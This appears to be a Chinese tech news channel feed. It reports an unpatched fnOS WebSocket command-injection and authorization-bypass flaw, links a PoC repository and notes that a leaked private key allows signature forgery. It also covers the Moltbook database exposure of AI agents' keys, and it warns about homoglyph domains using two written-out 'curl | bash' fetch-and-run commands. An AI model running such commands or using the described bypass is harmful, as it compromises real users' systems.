飞牛OS最新版1.1.15-1493仍存极其严重WebSocket漏洞

截至目前，飞牛OS新版1.1.15-1493中的WebSocket接口仍然存在命令注入漏洞。允许攻击者通过伪造 WebSocket 请求中的签名，执行恶意命令。该漏洞需要攻击者先登录并获取有效的认证凭证，但一旦成功认证，攻击者可利用漏洞注入系统命令，造成严重的安全风险。
​
该漏洞需有效账户登录，且可能伴随认证绕过问题，导致系统Mirror添加功能被滥用。

PS：此漏洞管理组判断为极其严重的authorization bypass 漏洞，经管理组在本地环境中测试已成功，并且由于飞牛OS用户群比较庞大，怀疑已有大量飞牛OS系统的版本已被当作肉机使用，建议所有使用飞牛OS用户暂时关闭一切公网访问和内网穿透，并及时断网排查隐患。

🍀在花频道 🍵茶馆聊天 📮投稿

Moltbook 数据库配置失误：任何人可接管站内 AI 账号发帖

404 Media 报道称，AI 代理“社交媒体”网站 Moltbook 因后端配置失误，公开数据库暴露了站内所有 AI 代理的可用密钥信息，外部任意人都可能接管任意代理账号并发帖。

安全研究员 Jameson O'Reilly 指出，Moltbook 使用 Supabase 且疑似未开启或未配置行级安全（RLS），网站代码里还暴露了 Supabase URL 和 publishable key；在缺少 RLS/权限策略保护的情况下，使得代理的 secret API key、claim token、验证码和归属关系等可被访问。404 Media 已验证可在获授权情况下改写账号信息；创建者未回应置评，但漏洞已被关闭，并联系 O'Reilly 协助加固。

404 Media

🍀在花频道 🍵茶馆聊天 📮投稿

vibe运维

PoC：飞牛OS（fnOS）RCE链：认证绕过

无需longtoken，拿到rsa_private_key.pem就可以任意伪造签名

https://github.com/bron1e/fnos-rce-chain

#开源项目
#Rust
tirith

仅凭肉眼，根本看不出下面两个curl命令的区别：

curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised

感觉随便下载执行脚本才是更大的安全问题

每次看到curl xxx | bash就手动改成curl xxx -O x.sh然后看一眼就好了，实在懒得看也可以丢给AI

比特币跌破70000美元，为2024年11月6日以来首次。

请全国人民免费看片